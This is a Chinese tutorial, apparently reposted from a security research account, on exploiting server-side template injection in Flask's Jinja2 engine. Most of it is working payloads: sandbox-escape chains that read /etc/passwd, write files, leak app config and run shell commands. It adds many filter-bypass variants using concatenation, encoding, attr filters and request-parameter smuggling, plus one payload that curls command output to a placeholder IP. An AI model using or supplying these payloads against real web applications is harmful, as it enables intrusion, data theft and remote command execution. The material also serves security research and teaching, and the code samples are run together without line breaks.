Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。
SSTI(Server-Side Template Injection)即服务端模板注入攻击,这里为Flask 框架的模版渲染引擎 jinja2 的SSTI,模板渲染其实并没有漏洞,主要是开发者编写代码不规范导致了SSTI。
1.1 模版和模版引擎
1.2 模版渲染函数
1.2.1 render_template
from flask import Flaskfrom flask import request, render_templateapp = Flask(__name__)@app.route('/')def test_ssti(): name="test" if request.args.get('name'): name = request.args.get('name') return render_template("index.html", name=name) if __name__ == "__main__": app.run(debug=True)
<h1>Hello {{ name }}!</h1>
1.2.2 render_template_string
from flask import Flaskfrom flask import request, render_template_stringapp = Flask(__name__)@app.route('/')def test_ssti(): name="test" if request.args.get('name'): name = request.args.get('name') template = '<h1>Hello {{ name }}!</h1>' return render_template_string(template, name=name)if __name__ == "__main__": app.run(debug=True)
1.3 SSTI成因
from flask import Flaskfrom flask import request, render_template_stringapp = Flask(__name__)@app.route('/')def test_ssti(): name="test" if request.args.get('name'): name= request.args.get('name') template = '<h1>Hello %s!</h1>' % name return render_template_string(template, name=name) if __name__ == "__main__": app.run(debug=True)
2.1 魔术方法
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等
__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数
2.2 沙箱逃匿流程
().__class__.__bases__[0]{}.__class__.__bases__[0][].__class__.__bases__[0]''.__class__.__bases__[0] #python3
().__class__.__mro__[1]{}.__class__.__mro__[1][].__class__.__mro__[1]''.__class__.__mro__[1]#python3''.__class__.__mro__[2]#python2
().__class__.__bases__[0].__subclasses__()
[].__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[].__class__.__mro__[1].__subclasses__()[40]('/tmp/test.txt', 'w').write('xxx’)
l=len([].__class__.__mro__[1].__subclasses__())for i in range(l): if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__): print(i,[].__class__.__mro__[1].__subclasses__()[i])
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['os'].system('whoami’)[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami’)[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('ls’)
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['sys'].modules['os'].system('whoami')
3.1 XSS
?name=<script>alert(1);</script>
?name={{config}}?name={{self.__dict__}}?name={{url_for.__globals__['current_app'].config}}?name={{get_flashed_messages.__globals__['current_app'].config}}
3.3 文件读取
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()}}''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()?name=''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/passwd').read()
?name=''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('E:/passwd').read()
3.4 文件写入
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd','w').write('test')}}''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test')?name=''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test')
3.5 命令执行
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}}
4.1 过滤关键字
4.1.1 字符串拼接绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}}
4.1.2 单双引号绕过
?name={{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}
4.1.3 编码绕过
1.base64编码
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}}
2.Unicode编码绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['u005fu005fu0069u006du0070u006fu0072u0074u005fu005f']('os').popen('whoami').read()}}
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['x5fx5fx69x6dx70x6fx72x74x5fx5f']('os').popen('whoami').read()}}
?name={{''['137137143154141163163137137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['137137151155160157162164137137']('os').popen('whoami').read()}}
4.2 过滤[]括号
4.2.1 __getitem__()绕过
?name={{''.__class__.__mro__[1].__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
4.2.2 点绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
4.3 过滤引号
4.3.1 request对象绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami
4.3.2 chr绕过
?name={% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
4.4 过滤点
4.4.1 中括号[]绕过
?name={{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
4.4.2 |attr()绕过
?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
4.5 过滤_
4.5.1 request对象绕过
?name={{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()
4.6 过滤{{
4.6.1 {% if ... %}1{% endif %}
{% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl http://xxx.xxx.xxx.xxx:12345/?i=`whoami`").read()') %}1{% endif %}
4.6.2 {%print(......)%}
{% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %}
原文始发于微信公众号(山石网科安全技术研究院):详解Flask框架SSTI攻击的利用与绕过技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论